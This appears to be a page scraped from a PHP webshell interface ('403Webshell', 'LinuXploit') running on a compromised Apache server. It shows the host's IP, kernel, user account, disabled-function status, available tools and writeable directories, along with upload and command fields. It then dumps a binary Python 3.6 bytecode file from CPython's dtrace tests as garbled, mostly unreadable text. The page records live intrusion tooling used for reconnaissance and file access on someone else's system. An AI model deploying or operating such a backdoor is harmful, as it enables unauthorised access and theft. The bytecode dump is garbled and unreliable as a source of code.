403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.153
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_dtrace.cpython-36.opt-2.pyc
3

�
�^��@s�ddlZddlZddlZddlZddlZddlZddlZddlm	Z	m
Z
dd�Zdd�ZGdd�d�Z
Gd	d
�d
e
�ZGdd�de
�ZGd
d�dej�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�Zdd�Zedkr�e�dS)�N)�findfile�run_unittestcCstjjt|dd��S)NZ
dtracedata)Zsubdir)�os�path�abspathr)�filename�r�0/opt/alt/python36/lib64/python3.6/test_dtrace.pyrsrcCsttjdd|�}y:dd�|j�D�}|jdd�d�dd�|D�}d	j|�Sttfk
rntd
j|���YnXdS)Nz\[[0-9]+ refs\]�cSs&g|]}|r|jd�r|jd��qS)�#�	)�
startswith�split)�.0�rowrrr	�
<listcomp>sz*normalize_trace_output.<locals>.<listcomp>cSst|d�S)Nr)�int)rrrr	�<lambda> sz(normalize_trace_output.<locals>.<lambda>)�keycSsg|]}|d�qS)�r)rrrrr	r!s�
z&tracer produced unparseable output:
{})	�re�sub�
splitlines�sort�join�
IndexError�
ValueError�AssertionError�format)�output�resultrrr	�normalize_trace_outputs	
r"c@sHeZdZdZdZgZddd�Zd
dd�Zddd�Zddd	�Z	d
d�Z
dS)�TraceBackendNc	Cs\t|jt||j�t|d�|d��}tt||jd���}|j�j�}WdQRX||fS)Nz.py)�script_file�python_file�optimize_pythonz	.expected)r"�trace_pythonr�	EXTENSION�open�read�rstrip)�self�namer&�
actual_output�f�expected_outputrrr	�run_case.s

zTraceBackend.run_casecCs |j|g}|r|d|g7}|S)Nz-c)�COMMAND)r,r$�
subcommand�commandrrr	�generate_trace_command9sz#TraceBackend.generate_trace_commandcCs.|j||�}tj|tjtjdd�j�\}}|S)NT)�stdout�stderrZuniversal_newlines)r5�
subprocess�Popen�PIPEZSTDOUTZcommunicate)r,r$r3r4r6�_rrr	�trace?szTraceBackend.tracecCs<g}|r|jdg|�djtjg||g�}|j||�S)Nz-O� )�extendr�sys�
executabler<)r,r$r%r&Zpython_flagsr3rrr	r'Gs
zTraceBackend.trace_pythoncCsvy |jtd|j��}|j�}Wn0tttfk
rP}zt|�}WYdd}~XnX|dkrrtj	dj
|jd|���dS)N�
assert_usablezprobe: successz{}(1) failed: {}r)r<rr(�strip�FileNotFoundError�NotADirectoryError�PermissionError�str�unittestZSkipTestrr2)r,r Zfnferrr	rANszTraceBackend.assert_usable)N)N)N)N)�__name__�
__module__�__qualname__r(r2ZCOMMAND_ARGSr1r5r<r'rArrrr	r#)s



r#c@seZdZdZdddgZdS)�
DTraceBackendz.dZdtracez-qz-sN)rHrIrJr(r2rrrr	rKZsrKc@seZdZdZddgZdS)�SystemTapBackendz.stpZstapz-gN)rHrIrJr(r2rrrr	rL_srLc@sLeZdZdZdZdZedd��Zdd�Zdd�Z	d	d
�Z
dd�Zd
d�ZdS)�
TraceTestsNrcCs|jj�dS)N)�backendrA)r,rrr	�
setUpClasslszTraceTests.setUpClasscCs&|jj||jd�\}}|j||�dS)N)r&)rNr1r&�assertEqual)r,r-r.r0rrr	r1pszTraceTests.run_casecCs|jd�dS)NZ
call_stack)r1)r,rrr	�test_function_entry_returnusz%TraceTests.test_function_entry_returnc
sltdddg�}ttd���}|j��WdQRX��fdd�}x|d�D]}|j|j�qFW�jt�|�dS)NZ
CALL_FUNCTIONZCALL_FUNCTION_EXZCALL_FUNCTION_KWz
call_stack.pycsFt�dd�jd�}x.|jD]$}t|tj�r|j|krtj|�SqWgS)Nz<string>�exec)�sourcer�mode�optimize)	�compiler&�	co_consts�
isinstance�types�CodeType�co_name�disZget_instructions)�funcname�code�c)�code_stringr,rr	�get_function_instructions�s
zFTraceTests.test_verify_call_opcodes.<locals>.get_function_instructions�start)�setr)rr*�discard�opnamerP)r,Zopcodesr/raZinstructionr)r`r,r	�test_verify_call_opcodesxsz#TraceTests.test_verify_call_opcodescCs|jd�dS)N�gc)r1)r,rrr	�test_gc�szTraceTests.test_gccCs|jd�dS)N�line)r1)r,rrr	�	test_line�szTraceTests.test_line)
rHrIrJZmaxDiffrNr&�classmethodrOr1rQrfrhrjrrrr	rMdsrMc@seZdZe�ZdZdS)�DTraceNormalTestsrN)rHrIrJrKrNr&rrrr	rl�srlc@seZdZe�ZdZdS)�DTraceOptimizedTests�N)rHrIrJrKrNr&rrrr	rm�srmc@seZdZe�ZdZdS)�SystemTapNormalTestsrN)rHrIrJrLrNr&rrrr	ro�sroc@seZdZe�ZdZdS)�SystemTapOptimizedTestsrnN)rHrIrJrLrNr&rrrr	rp�srpcCsttttt�dS)N)rrlrmrorprrrr	�	test_main�srq�__main__)r\Zos.pathrrr8r?rYrGZtest.supportrrrr"r#rKrLZTestCaserMrlrmrorprqrHrrrr	�<module>s(14

Youez - 2016 - github.com/yon3zu
LinuXploit